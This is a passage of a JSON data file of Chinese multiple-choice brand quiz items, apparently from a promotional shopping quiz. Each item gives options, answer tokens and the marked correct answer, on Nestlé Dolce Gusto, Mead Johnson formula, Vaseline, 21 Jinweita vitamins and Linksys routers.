04:39:56","status":"1"},{"questionId":"9101427434","questionIndex":"5","questionStem":"雀巢的总部位于哪个国家?","options":"[{\"optionId\":\"IsUSx0BRiDoBta20opcfqHMgIiTbPWMQYYc\",\"optionDesc\":\"瑞士\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoBta20opcfqhV5mTzZsSAB7WA\",\"optionDesc\":\"美国\"},{\"optionId\":\"IsUSx0BRiDoBta20opcfq7pOmQTEvGY8pXk\",\"optionDesc\":\"中国\"}]","questionToken":"IsUSx0BRiDoBta3isd8E-n9uFcnj4kKczzn0N_zy1r4iw80dOd2v5mAZxnVVqlb4IeQ-c5evvLPe0NN0H4FDlfEaAIPo1g","correct":"{\"optionId\":\"IsUSx0BRiDoBta20opcfqHMgIiTbPWMQYYc\",\"optionDesc\":\"瑞士\\t\\t\"}","create_time":"27/1/2021 04:50:03","update_time":"27/1/2021 04:50:03","status":"1"},{"questionId":"9101427435","questionIndex":"5","questionStem":"雀巢多趣酷思是专注于哪一种咖啡机的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoBtK20opcfq8M1to28WTYHf7kMGw\",\"optionDesc\":\"半自动咖啡机\"},{\"optionId\":\"IsUSx0BRiDoBtK20opcfqCuuIeaBY9OtEGI_yw\",\"optionDesc\":\"胶囊咖啡机\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoBtK20opcfqlDrBUXT5ErxLCMzEw\",\"optionDesc\":\"全自动咖啡机\"}]","questionToken":"IsUSx0BRiDoBtK3isd8E_YvxTRUmeBbIKEwpfUSFpfpaDqJ-ScZeeapOL6CZY65MZ43_0tFHv9BwZupVTnnnn9gzDwJHvg","correct":"{\"optionId\":\"IsUSx0BRiDoBtK20opcfqCuuIeaBY9OtEGI_yw\",\"optionDesc\":\"胶囊咖啡机\\t\\t\"}","create_time":"27/1/2021 04:36:42","update_time":"27/1/2021 04:36:42","status":"1"},{"questionId":"9101427436","questionIndex":"5","questionStem":"以下哪个型号不是雀巢多趣酷思的产品?","options":"[{\"optionId\":\"IsUSx0BRiDoBt620opcfqpBJx_TXMuekrA\",\"optionDesc\":\"Genio\"},{\"optionId\":\"IsUSx0BRiDoBt620opcfqwKMg61lgVT8ug\",\"optionDesc\":\"MiniMe\"},{\"optionId\":\"IsUSx0BRiDoBt620opcfqFvstxNDSBBmRw\",\"optionDesc\":\"Pixie\\t\\t\"}]","questionToken":"IsUSx0BRiDoBt63isd8E_cyEUB_iWdG41tBs5Lbv9Z8oXe81Wfi6hs-Rzs741QaZybSuNBow3JH_IqOPJjTTzBOFm5crrQ","correct":"{\"optionId\":\"IsUSx0BRiDoBt620opcfqFvstxNDSBBmRw\",\"optionDesc\":\"Pixie\\t\\t\"}","create_time":"27/1/2021 04:49:49","update_time":"27/1/2021 04:49:49","status":"1"},{"questionId":"9101427437","questionIndex":"3","questionStem":"雀巢多趣酷思店铺中,哪个系列的价格最高?","options":"[{\"optionId\":\"IsUSx0BRiDoBtq20opcfqBadKvoKQ4UkODhC\",\"optionDesc\":\"Majesto\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoBtq20opcfq4bhy6kpsMJmZvjd\",\"optionDesc\":\"Esperta\"},{\"optionId\":\"IsUSx0BRiDoBtq20opcfqrW_9l_c2SVK4_8N\",\"optionDesc\":\"Eclipse\"}]","questionToken":"IsUSx0BRiDoBtq3ksd8E_RRDjtxVe1sg97Pos5Jelz_EpJecezINaIV8rvYEm69mXV75iPf80VBoMfF9dSTG-EaFGzaFmg","correct":"{\"optionId\":\"IsUSx0BRiDoBtq20opcfqBadKvoKQ4UkODhC\",\"optionDesc\":\"Majesto\\t\\t\"}","create_time":"27/1/2021 04:47:32","update_time":"27/1/2021 04:47:32","status":"1"},{"questionId":"9101427438","questionIndex":"2","questionStem":"雀巢多趣酷思店铺中,哪个系列属于新品?","options":"[{\"optionId\":\"IsUSx0BRiDoBua20opcfqLfD730gKihARFx7\",\"optionDesc\":\"Genio S系列\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoBua20opcfq5MgY1vHqqQWock6\",\"optionDesc\":\"Piccolo系列\"},{\"optionId\":\"IsUSx0BRiDoBua20opcfqhElo_DWY9IMyN3q\",\"optionDesc\":\"Lumio系列\"}]","questionToken":"IsUSx0BRiDoBua3lsd8E_ZDTGMV7kQmCyTKrPhN386zM6orEG7W3KPG3ETeLDgNB6mlnCFaWSPX5Z1Bcd2NGkFYr_nGt6Q","correct":"{\"optionId\":\"IsUSx0BRiDoBua20opcfqLfD730gKihARFx7\",\"optionDesc\":\"Genio S系列\\t\\t\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"9101427440","questionIndex":"3","questionStem":"美赞臣核心成分HMO的功能是什么? ","options":"[{\"optionId\":\"IsUSx0BRiDoGsa20opcfqOkGgTWKW30i-pI3\",\"optionDesc\":\"激活肠道保护力\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoGsa20opcfqg1RhdeHeOHLK7Ag\",\"optionDesc\":\"补充多种营养\"},{\"optionId\":\"IsUSx0BRiDoGsa20opcfq26lPvRf8zSZtxwh\",\"optionDesc\":\"点亮非凡脑力\"}]","questionToken":"IsUSx0BRiDoGsa3ksd8E_VZQTniFTn94G_7xl3mGealKHKedsiq9BOp33GjYbjsnuKmQ_AGteXTyyZWXLBvTrEvk5fFzQw","correct":"{\"optionId\":\"IsUSx0BRiDoGsa20opcfqOkGgTWKW30i-pI3\",\"optionDesc\":\"激活肠道保护力\\t\\t\"}","create_time":"27/1/2021 04:42:52","update_time":"27/1/2021 04:42:52","status":"1"},{"questionId":"9101427441","questionIndex":"3","questionStem":"蓝臻海外版中20倍乳铁蛋白的功能是?","options":"[{\"optionId\":\"IsUSx0BRiDoGsK20opcfqpVA_sCkDzXKIUn_\",\"optionDesc\":\"滋养宝宝皮肤\"},{\"optionId\":\"IsUSx0BRiDoGsK20opcfq4InRPNQ42wVujUa\",\"optionDesc\":\"促进宝宝大脑发育\"},{\"optionId\":\"IsUSx0BRiDoGsK20opcfqHkSApb0slyOZ3Xz\",\"optionDesc\":\"激活宝宝天生抵御力\\t\"}]","questionToken":"IsUSx0BRiDoGsK3ksd8E-hElcdkGxVRjISmMENVcP-i9PVFo67StHaA4LZ6kfAj0-jLsfyaCQAadGoCcn6gaNSShVM9jxg","correct":"{\"optionId\":\"IsUSx0BRiDoGsK20opcfqHkSApb0slyOZ3Xz\",\"optionDesc\":\"激活宝宝天生抵御力\\t\"}","create_time":"27/1/2021 04:37:24","update_time":"27/1/2021 04:37:24","status":"1"},{"questionId":"9101427442","questionIndex":"2","questionStem":"美赞臣被喻为新一代“脑黄金”的成分是?","options":"[{\"optionId\":\"IsUSx0BRiDoGs620opcfqO3xaRJ4vucbQwdI\",\"optionDesc\":\"MFGM\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoGs620opcfqr9e4MhxSVZYmztF\",\"optionDesc\":\"A2蛋白\"},{\"optionId\":\"IsUSx0BRiDoGs620opcfq_NcSHYEpC8sQ4o4\",\"optionDesc\":\"HMO\"}]","questionToken":"IsUSx0BRiDoGs63lsd8E_R8C4UUSXunwngUlk812EZ772DbWGdL-QIor0FooBYcdG2G3mHoAeuvntGtHV34Lmp9UPA7J-Q","correct":"{\"optionId\":\"IsUSx0BRiDoGs620opcfqO3xaRJ4vucbQwdI\",\"optionDesc\":\"MFGM\\t\\t\"}","create_time":"27/1/2021 04:43:51","update_time":"27/1/2021 04:43:51","status":"1"},{"questionId":"9101427443","questionIndex":"2","questionStem":"美赞臣成分DHA的主要功能是什么?","options":"[{\"optionId\":\"IsUSx0BRiDoGsq20opcfq1IViY0MZ6711yg\",\"optionDesc\":\"助于骨骼发育\"},{\"optionId\":\"IsUSx0BRiDoGsq20opcfqKZgEd2KmjWrINU\",\"optionDesc\":\"助于智力和视力发育\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoGsq20opcfqiF21Z3yh_NnFXI\",\"optionDesc\":\"助于肠道消化\"}]","questionToken":"IsUSx0BRiDoGsq3lsd8E-j5bhARTiFWqwGTOdRQSXqIsOtGaMNT9K3OcdrDVMLOvfH7tOrQFgvZ_MHTe3zkGqgjng0Fomw","correct":"{\"optionId\":\"IsUSx0BRiDoGsq20opcfqKZgEd2KmjWrINU\",\"optionDesc\":\"助于智力和视力发育\\t\\t\"}","create_time":"27/1/2021 04:36:17","update_time":"27/1/2021 04:36:17","status":"1"},{"questionId":"9101427444","questionIndex":"4","questionStem":"美赞臣的品牌logo颜色是?","options":"[{\"optionId\":\"IsUSx0BRiDoGta20opcfqsyQJmf7s56ixF4\",\"optionDesc\":\"绿色\"},{\"optionId\":\"IsUSx0BRiDoGta20opcfq4dmOwoZ6kff9qY\",\"optionDesc\":\"黑色\"},{\"optionId\":\"IsUSx0BRiDoGta20opcfqLgSlPdXUeEPZgc\",\"optionDesc\":\"蓝色\\t\\t\"}]","questionToken":"IsUSx0BRiDoGta3jsd8E_SMGBUEiS7reH-urPnqYIdbkPDBEQIboZDIqzA2376CfwrKsS39SIvzhZIBTvRK3Pj3Ao_1WxA","correct":"{\"optionId\":\"IsUSx0BRiDoGta20opcfqLgSlPdXUeEPZgc\",\"optionDesc\":\"蓝色\\t\\t\"}","create_time":"27/1/2021 04:48:34","update_time":"27/1/2021 04:48:34","status":"1"},{"questionId":"9101427445","questionIndex":"5","questionStem":"美赞臣有5段奶粉吗?","options":"[{\"optionId\":\"IsUSx0BRiDoGtK20opcfqttSYwO9HPMbctU-\",\"optionDesc\":\"不知道\"},{\"optionId\":\"IsUSx0BRiDoGtK20opcfq0Wmzx4R5vM6Ldo7\",\"optionDesc\":\"没有\"},{\"optionId\":\"IsUSx0BRiDoGtK20opcfqPNGLft0dfFXs_w_\",\"optionDesc\":\" 有\\t\\t\"}]","questionToken":"IsUSx0BRiDoGtK3isd8E_atZ4YX0luBfHGB1IhYVcpmVAVu5R9OYj55pw8Td-ffd3fYQgp5J7W7jFg9hioGvhu3qMcIuAw","correct":"{\"optionId\":\"IsUSx0BRiDoGtK20opcfqPNGLft0dfFXs_w_\",\"optionDesc\":\" 有\\t\\t\"}","create_time":"27/1/2021 04:51:40","update_time":"27/1/2021 04:51:40","status":"1"},{"questionId":"9101427446","questionIndex":"4","questionStem":"以下哪个奶粉是美赞臣品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoGt620opcfqnjGEAAZKF_9VTI\",\"optionDesc\":\"小安素\"},{\"optionId\":\"IsUSx0BRiDoGt620opcfq5GA67jNOTxK89w\",\"optionDesc\":\"启赋\"},{\"optionId\":\"IsUSx0BRiDoGt620opcfqJhVMqDpUeanY6c\",\"optionDesc\":\"蓝臻\\t\\t\"}]","questionToken":"IsUSx0BRiDoGt63jsd8E-lO75bu0Mzc9OY0QrASiR63AX2ICzXSC2x_EYHaa_xGcsGhM7fGRZP9oNCktDZqe6LqPyf6YNg","correct":"{\"optionId\":\"IsUSx0BRiDoGt620opcfqJhVMqDpUeanY6c\",\"optionDesc\":\"蓝臻\\t\\t\"}","create_time":"27/1/2021 04:44:14","update_time":"27/1/2021 04:44:14","status":"1"},{"questionId":"9101427447","questionIndex":"5","questionStem":"美赞臣在中国的总部是在?","options":"[{\"optionId\":\"IsUSx0BRiDoGtq20opcfqGgTolC5AWpnhlIV\",\"optionDesc\":\"广州\\t\"},{\"optionId\":\"IsUSx0BRiDoGtq20opcfqwF3O633wydgUWpH\",\"optionDesc\":\"上海\\t\"},{\"optionId\":\"IsUSx0BRiDoGtq20opcfqj5VAAQ25yqK0-j8\",\"optionDesc\":\"北京\"}]","questionToken":"IsUSx0BRiDoGtq3isd8E_Tzf75jOxW71nmg8GTJPS6NiYoTWkk2MIhtRUSNbiYgLtiS3vTbIV-Kans5UOF6gLVCYXv7GjA","correct":"{\"optionId\":\"IsUSx0BRiDoGtq20opcfqGgTolC5AWpnhlIV\",\"optionDesc\":\"广州\\t\"}","create_time":"27/1/2021 04:45:21","update_time":"27/1/2021 04:45:21","status":"1"},{"questionId":"9101427448","questionIndex":"3","questionStem":"美赞臣铂睿是进口于?","options":"[{\"optionId\":\"IsUSx0BRiDoGua20opcfqHyjX88ja7pVF5w\",\"optionDesc\":\"荷兰\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoGua20opcfqvaZfnFbuD1fYnk\",\"optionDesc\":\"大不列颠\"},{\"optionId\":\"IsUSx0BRiDoGua20opcfqwhKZjpdsGW0BJY\",\"optionDesc\":\"加拿大\"}]","questionToken":"IsUSx0BRiDoGua3ksd8E_Vut7xWaO0LkskFmFVbCfgjnfhEzK499XeWE4Rfx4wCVtV-slh1Kvv77B2LaWUP9HBCIj0AjHg","correct":"{\"optionId\":\"IsUSx0BRiDoGua20opcfqHyjX88ja7pVF5w\",\"optionDesc\":\"荷兰\\t\\t\"}","create_time":"27/1/2021 04:51:22","update_time":"27/1/2021 04:51:22","status":"1"},{"questionId":"9101427449","questionIndex":"2","questionStem":"凡士林的品牌logo颜色是?","options":"[{\"optionId\":\"IsUSx0BRiDoGuK20opcfqyRFM3SNh8_8Bl6E_Q\",\"optionDesc\":\"粉白\\t\"},{\"optionId\":\"IsUSx0BRiDoGuK20opcfqKgjRBU-H2LMX0dUzw\",\"optionDesc\":\"蓝白\"},{\"optionId\":\"IsUSx0BRiDoGuK20opcfqu8RvT4Ke_8JjkIDcw\",\"optionDesc\":\"黄白\"}]","questionToken":"IsUSx0BRiDoGuK3lsd8E-gNGEbSCz4Y71dMHhow9dYzigq1KPVydYcVJt12zwSNBXsTIh9enjYi06CRsvzLAWhboLu-2wg","correct":"{\"optionId\":\"IsUSx0BRiDoGuK20opcfqKgjRBU-H2LMX0dUzw\",\"optionDesc\":\"蓝白\"}","create_time":"27/1/2021 04:51:30","update_time":"27/1/2021 04:51:30","status":"1"},{"questionId":"9101427450","questionIndex":"3","questionStem":"凡士林晶冻的主要功能是?","options":"[{\"optionId\":\"IsUSx0BRiDoHsa20opcfqu1ckAHQcPRgPFQ-jw\",\"optionDesc\":\"抗衰\"},{\"optionId\":\"IsUSx0BRiDoHsa20opcfq-LnMwB1EYVq_vuxLA\",\"optionDesc\":\"美白\\t\"},{\"optionId\":\"IsUSx0BRiDoHsa20opcfqFymco3nGE1DuCOPog\",\"optionDesc\":\"修护\\t\"}]","questionToken":"IsUSx0BRiDoHsa3ksd8E-tiIwA2pkZrE60pqoapLzD3pXJQmg8kUJzch_VziluGFXMCxxEgDjkDKyE8mQU8e-xau9bt91w","correct":"{\"optionId\":\"IsUSx0BRiDoHsa20opcfqFymco3nGE1DuCOPog\",\"optionDesc\":\"修护\\t\"}","create_time":"27/1/2021 04:43:49","update_time":"27/1/2021 04:43:49","status":"1"},{"questionId":"9101427451","questionIndex":"4","questionStem":"凡士林的哪个产品曾在战争时作为医疗用途?","options":"[{\"optionId\":\"IsUSx0BRiDoHsK20opcfq7YAGwPukqOBzdU\",\"optionDesc\":\"大粉瓶身体乳\"},{\"optionId\":\"IsUSx0BRiDoHsK20opcfqtcqmtmz4dRpImE\",\"optionDesc\":\"手膜\"},{\"optionId\":\"IsUSx0BRiDoHsK20opcfqHIK4LDwo701Vq8\",\"optionDesc\":\"晶冻\\t\\t\"}]","questionToken":"IsUSx0BRiDoHsK3jsd8E_XPKQYevAVzR1x1KcSENZW2aaGP_Wi2o2hQ8LANXmBwlrPDuaaX__2-tkJb0y-ojuowpmr1ItA","correct":"{\"optionId\":\"IsUSx0BRiDoHsK20opcfqHIK4LDwo701Vq8\",\"optionDesc\":\"晶冻\\t\\t\"}","create_time":"27/1/2021 04:40:35","update_time":"27/1/2021 04:40:35","status":"1"},{"questionId":"9101427452","questionIndex":"1","questionStem":"凡士林精华身体乳derma 5号主要功效是?","options":"[{\"optionId\":\"IsUSx0BRiDoHs620opcfqzO75GefqF4MhfIR1A\",\"optionDesc\":\"美白\\t\"},{\"optionId\":\"IsUSx0BRiDoHs620opcfqCHJfmv2qGyF0wbhpg\",\"optionDesc\":\"去鸡皮\\t\"},{\"optionId\":\"IsUSx0BRiDoHs620opcfqgYai3g-OCgNjFVm0w\",\"optionDesc\":\"除皱纹\"}]","questionToken":"IsUSx0BRiDoHs63msd8E-lExyDTCHxdN2QZ9iygjlB7e-ysK3Q_zgiW2FB6ZBw6B3FH-qjWT1lQeyNEaEeiptecy4ryW8A","correct":"{\"optionId\":\"IsUSx0BRiDoHs620opcfqCHJfmv2qGyF0wbhpg\",\"optionDesc\":\"去鸡皮\\t\"}","create_time":"27/1/2021 04:48:46","update_time":"27/1/2021 04:48:46","status":"1"},{"questionId":"9101427453","questionIndex":"3","questionStem":"凡士林为哪家公司旗下的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoHsq20opcfqzHgcsGmSFOd1hhG\",\"optionDesc\":\"宝洁\"},{\"optionId\":\"IsUSx0BRiDoHsq20opcfqAozSvS36TMGQZ6w\",\"optionDesc\":\"联合利华\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoHsq20opcfqi5WZd7SiTmPx1TC\",\"optionDesc\":\"欧莱雅\"}]","questionToken":"IsUSx0BRiDoHsq3ksd8E-gC-UxcDdeTdzAwAgu1n5a4-ZNy4QhWB9j-higFDpPo99aFmJ_cBEyHLFF_m71gySkYQ5QApdg","correct":"{\"optionId\":\"IsUSx0BRiDoHsq20opcfqAozSvS36TMGQZ6w\",\"optionDesc\":\"联合利华\\t\\t\"}","create_time":"27/1/2021 04:46:04","update_time":"27/1/2021 04:46:04","status":"1"},{"questionId":"9101427454","questionIndex":"2","questionStem":" 21金维他诞生于哪 一年?","options":"[{\"optionId\":\"IsUSx0BRiDoHta20opcfqHlEJ6cM1JlT_J0jnw\",\"optionDesc\":\"1985年\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoHta20opcfq1rIqypcmQ2TR48pRg\",\"optionDesc\":\"2000年\"},{\"optionId\":\"IsUSx0BRiDoHta20opcfqnnzfPRxaK-N3XjVoQ\",\"optionDesc\":\"1921年\"}]","questionToken":"IsUSx0BRiDoHta3lsd8E_buSLcSIJsUuqj1O-4IYfmA0i3igLsq1mHwJu042yt0qUxuD0J9Qu5HJTmvAqiUfJydl6-xvSQ","correct":"{\"optionId\":\"IsUSx0BRiDoHta20opcfqHlEJ6cM1JlT_J0jnw\",\"optionDesc\":\"1985年\\t\\t\"}","create_time":"27/1/2021 04:34:39","update_time":"27/1/2021 04:34:39","status":"1"},{"questionId":"9101427456","questionIndex":"5","questionStem":"21金维他的logo颜色是哪几种颜色?","options":"[{\"optionId\":\"IsUSx0BRiDoHt620opcfqM5AKjLq2-uNXtKX\",\"optionDesc\":\"红色+黑色\"},{\"optionId\":\"IsUSx0BRiDoHt620opcfq_rbXURjYRMX2GjI\",\"optionDesc\":\"红色+黑色+黄色\"},{\"optionId\":\"IsUSx0BRiDoHt620opcfqvyrCJaO0Dx9JtaS\",\"optionDesc\":\"红色+黄色+蓝色\"}]","questionToken":"IsUSx0BRiDoHt63isd8E_QY4gVyMTm09kZgUizD1hClIvsmnH1tm9Kh6-H42UVwNyPnOPzdie5Gac-ENBgbB5_i7ltexQA","correct":"{\"optionId\":\"IsUSx0BRiDoHt620opcfqM5AKjLq2-uNXtKX\",\"optionDesc\":\"红色+黑色\"}","create_time":"27/1/2021 04:31:39","update_time":"27/1/2021 04:31:39","status":"1"},{"questionId":"9101427457","questionIndex":"5","questionStem":"21金维他有几种营养素?","options":"[{\"optionId\":\"IsUSx0BRiDoHtq20opcfqPb7MoZ-9seUM0TbrQ\",\"optionDesc\":\"21种\\t\"},{\"optionId\":\"IsUSx0BRiDoHtq20opcfqgqdWOZqNlUyR1AzQw\",\"optionDesc\":\"8种\"},{\"optionId\":\"IsUSx0BRiDoHtq20opcfq6ZTloYwOZUh5CDmfw\",\"optionDesc\":\"12种\\t\"}]","questionToken":"IsUSx0BRiDoHtq3isd8E_VvcAL1_FkWrbEulRiJ8EosLIgYcuTUi3thcw-HvhwynfAJJUuFxh9OSlmr6EVO2Qamwzon1eQ","correct":"{\"optionId\":\"IsUSx0BRiDoHtq20opcfqPb7MoZ-9seUM0TbrQ\",\"optionDesc\":\"21种\\t\"}","create_time":"27/1/2021 04:44:59","update_time":"27/1/2021 04:44:59","status":"1"},{"questionId":"9101427458","questionIndex":"1","questionStem":"21金维他产品中赖氨酸的作用是什么?","options":"[{\"optionId\":\"IsUSx0BRiDoHua20opcfqMre6_xScIeaYC1jIw\",\"optionDesc\":\"促吸收\"},{\"optionId\":\"IsUSx0BRiDoHua20opcfqrR0Jjb-PxKxARw4CA\",\"optionDesc\":\"养颜\"},{\"optionId\":\"IsUSx0BRiDoHua20opcfq66XqC18_nTDu9l7tA\",\"optionDesc\":\"护眼\"}]","questionToken":"IsUSx0BRiDoHua3msd8E-lvnD7Xi2w1P0mgMfHZI1UfU3tMJTS5yUoJijLQ-BEd9uMdppAUNzUIYqfGO4KsG5u6FQXD55A","correct":"{\"optionId\":\"IsUSx0BRiDoHua20opcfqMre6_xScIeaYC1jIw\",\"optionDesc\":\"促吸收\"}","create_time":"27/1/2021 04:35:41","update_time":"27/1/2021 04:35:41","status":"1"},{"questionId":"9101427459","questionIndex":"2","questionStem":"21金维他适合哪类人补充?","options":"[{\"optionId\":\"IsUSx0BRiDoHuK20opcfqIStWAVWGEG-wCIx\",\"optionDesc\":\"亚洲人\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoHuK20opcfq3frAGjgS0zdRRKc\",\"optionDesc\":\"欧洲人\"},{\"optionId\":\"IsUSx0BRiDoHuK20opcfqmgurEBSPHUaH5Ph\",\"optionDesc\":\"澳洲人\"}]","questionToken":"IsUSx0BRiDoHuK3lsd8E_T1Eso5HPCD1LAt0o5qpFmrsBHp5tBIvodzLWPrEnRrKFA0NdCK9YMgYDwx-7YKSZb-u-j47AQ","correct":"{\"optionId\":\"IsUSx0BRiDoHuK20opcfqIStWAVWGEG-wCIx\",\"optionDesc\":\"亚洲人\\t\\t\"}","create_time":"27/1/2021 04:44:15","update_time":"27/1/2021 04:44:15","status":"1"},{"questionId":"9101427460","questionIndex":"4","questionStem":"童年时光DHA胶囊别称叫什么?","options":"[{\"optionId\":\"IsUSx0BRiDoEsa20opcfqsn-Jkz0LOmXdEWtUQ\",\"optionDesc\":\"金豆豆\"},{\"optionId\":\"IsUSx0BRiDoEsa20opcfqLCGRnxP20JzMxuXWw\",\"optionDesc\":\"小金豆\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEsa20opcfq7ceCnprNxVckGE5Bw\",\"optionDesc\":\"小豆豆\"}]","questionToken":"IsUSx0BRiDoEsa3jsd8E-hr6EW06KJ4lfP3NcnWBUfXGfI-HGFN1CmanzcluXFEHr-hxu5Mtp67tezeLNJzE5zBQDU5viw","correct":"{\"optionId\":\"IsUSx0BRiDoEsa20opcfqLCGRnxP20JzMxuXWw\",\"optionDesc\":\"小金豆\\t\\t\"}","create_time":"27/1/2021 04:35:42","update_time":"27/1/2021 04:35:42","status":"1"},{"questionId":"9101427461","questionIndex":"2","questionStem":"童年时光创始人是什么职业?","options":"[{\"optionId\":\"IsUSx0BRiDoEsK20opcfqopy4uBue8Ncu2Nn\",\"optionDesc\":\"营养师\"},{\"optionId\":\"IsUSx0BRiDoEsK20opcfqN8P3bGMOVR7Cf5r\",\"optionDesc\":\"医生\\t\"},{\"optionId\":\"IsUSx0BRiDoEsK20opcfq9ut0WCLNLdJqcGC\",\"optionDesc\":\"律师\\t\"}]","questionToken":"IsUSx0BRiDoEsK3lsd8E_UhjPFyE_3zTleRrBSgHUpCwZt_uuUtO4qiFRWPn_XrM4hkorCx2N7joKtIS-XMsE2w_dmF_wQ","correct":"{\"optionId\":\"IsUSx0BRiDoEsK20opcfqN8P3bGMOVR7Cf5r\",\"optionDesc\":\"医生\\t\"}","create_time":"27/1/2021 04:35:39","update_time":"27/1/2021 04:35:39","status":"1"},{"questionId":"9101427462","questionIndex":"3","questionStem":"童年时光适合什么年龄人群?","options":"[{\"optionId\":\"IsUSx0BRiDoEs620opcfq7YPvakkwG0LgIJe\",\"optionDesc\":\"青少年\"},{\"optionId\":\"IsUSx0BRiDoEs620opcfqv9sSSSLGNh2jYjl\",\"optionDesc\":\"中老年\"},{\"optionId\":\"IsUSx0BRiDoEs620opcfqGYFLHJ_VFEPGpfP\",\"optionDesc\":\"婴幼儿\\t\\t\"}]","questionToken":"IsUSx0BRiDoEs63ksd8E_bCk34m9z4vf9TZWXCY956Q73MYL19nO9-MGQ8KqFyj8WXMtxg5taJJn2DTTUUAwD8ca8kNnww","correct":"{\"optionId\":\"IsUSx0BRiDoEs620opcfqGYFLHJ_VFEPGpfP\",\"optionDesc\":\"婴幼儿\\t\\t\"}","create_time":"27/1/2021 04:44:17","update_time":"27/1/2021 04:44:17","status":"1"},{"questionId":"9101427463","questionIndex":"3","questionStem":"童年时光原产地是哪个国家?","options":"[{\"optionId\":\"IsUSx0BRiDoEsq20opcfqsXbliFSai1LmB4\",\"optionDesc\":\"意大利\"},{\"optionId\":\"IsUSx0BRiDoEsq20opcfqM-by9tphyxC1tc\",\"optionDesc\":\"美国\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEsq20opcfq9N_ts7Ig9MhijA\",\"optionDesc\":\"英国\"}]","questionToken":"IsUSx0BRiDoEsq3ksd8E_SdtR8dMLN3R96boHmQn_lHhix80mVJoxDhCMdSAu0wQ_9j8loExHmCtisztSonQ7hLWf27RCg","correct":"{\"optionId\":\"IsUSx0BRiDoEsq20opcfqM-by9tphyxC1tc\",\"optionDesc\":\"美国\\t\\t\"}","create_time":"27/1/2021 04:36:59","update_time":"27/1/2021 04:36:59","status":"1"},{"questionId":"9101427464","questionIndex":"5","questionStem":"领势品牌主要销售什么产品?","options":"[{\"optionId\":\"IsUSx0BRiDoEta20opcfq7SjmJiPuEKBMBGD\",\"optionDesc\":\"电脑\"},{\"optionId\":\"IsUSx0BRiDoEta20opcfqG0xDq5J5sFD5U3v\",\"optionDesc\":\"路由器\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEta20opcfqkfbNbm3AFOTjIYs\",\"optionDesc\":\"电视\"}]","questionToken":"IsUSx0BRiDoEta3isd8E_aUeWc-7ZGUK7mQekHB5FH1m75e7mH9Jj2HoI70LEtyTP1l814j1xpOWgEELK0cUH3ALyIF07A","correct":"{\"optionId\":\"IsUSx0BRiDoEta20opcfqG0xDq5J5sFD5U3v\",\"optionDesc\":\"路由器\\t\\t\"}","create_time":"27/1/2021 04:42:50","update_time":"27/1/2021 04:42:50","status":"1"},{"questionId":"9101427465","questionIndex":"2","questionStem":"领势路由器哪个功能最强?","options":"[{\"optionId\":\"IsUSx0BRiDoEtK20opcfqqDrXizh48esopnT\",\"optionDesc\":\"WIFI6\"},{\"optionId\":\"IsUSx0BRiDoEtK20opcfqCbrYoiFk8E0MHK1\",\"optionDesc\":\"Mesh组网(无缝连接)\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEtK20opcfq1VhjGlU5y0baGOv\",\"optionDesc\":\"内置天线\"}]","questionToken":"IsUSx0BRiDoEtK3lsd8E-k_doEiuq0cQDKYbs2rrJO5JQLnM4gv1gpWDLs48OmQjg4-XvoGn5A0bA-dJ2YphIKHnfCW4XQ","correct":"{\"optionId\":\"IsUSx0BRiDoEtK20opcfqCbrYoiFk8E0MHK1\",\"optionDesc\":\"Mesh组网(无缝连接)\\t\\t\"}","create_time":"27/1/2021 04:51:03","update_time":"27/1/2021 04:51:03","status":"1"},{"questionId":"9101427466","questionIndex":"4","questionStem":"领势WIFI6 Mesh路由器适合覆盖哪种户型?","options":"[{\"optionId\":\"IsUSx0BRiDoEt620opcfqHy1wLidcnGFignV\",\"optionDesc\":\"大户型\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEt620opcfq6hm14DyMZBf67rT\",\"optionDesc\":\"小户型\"},{\"optionId\":\"IsUSx0BRiDoEt620opcfqotSqCcb8x2Hkb2t\",\"optionDesc\":\"商场\"}]","questionToken":"IsUSx0BRiDoEt63jsd8E_Z_oxqpCyg4Qlpq2-PnC5Q3IB3OIHdeHT01PS3Z4_Hk4U1KWciMgWc-pnT4MoG1W5yVOTsD-nQ","correct":"{\"optionId\":\"IsUSx0BRiDoEt620opcfqHy1wLidcnGFignV\",\"optionDesc\":\"大户型\\t\\t\"}","create_time":"27/1/2021 04:31:39","update_time":"27/1/2021 04:31:39","status":"1"},{"questionId":"9101427467","questionIndex":"4","questionStem":"领势换新时间多久?","options":"[{\"optionId\":\"IsUSx0BRiDoEtq20opcfqLuJiFuKf8t1o-YBtQ\",\"optionDesc\":\"3年\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEtq20opcfq8GvqNUXBrkD12YSQw\",\"optionDesc\":\"1年\"},{\"optionId\":\"IsUSx0BRiDoEtq20opcfqvEPmbKDoUQiI8W-2Q\",\"optionDesc\":\"3个月\"}]","questionToken":"IsUSx0BRiDoEtq3jsd8E_eXSeyV9WS7p1i8rA8rBM78pK6XLcUx0C-veDNQV5vafLjAfI0FoUZ3OZ0wizOPBh4dSygLYuw","correct":"{\"optionId\":\"IsUSx0BRiDoEtq20opcfqLuJiFuKf8t1o-YBtQ\",\"optionDesc\":\"3年\\t\\t\"}","create_time":"27/1/2021 04:34:39","update_time":"27/1/2021 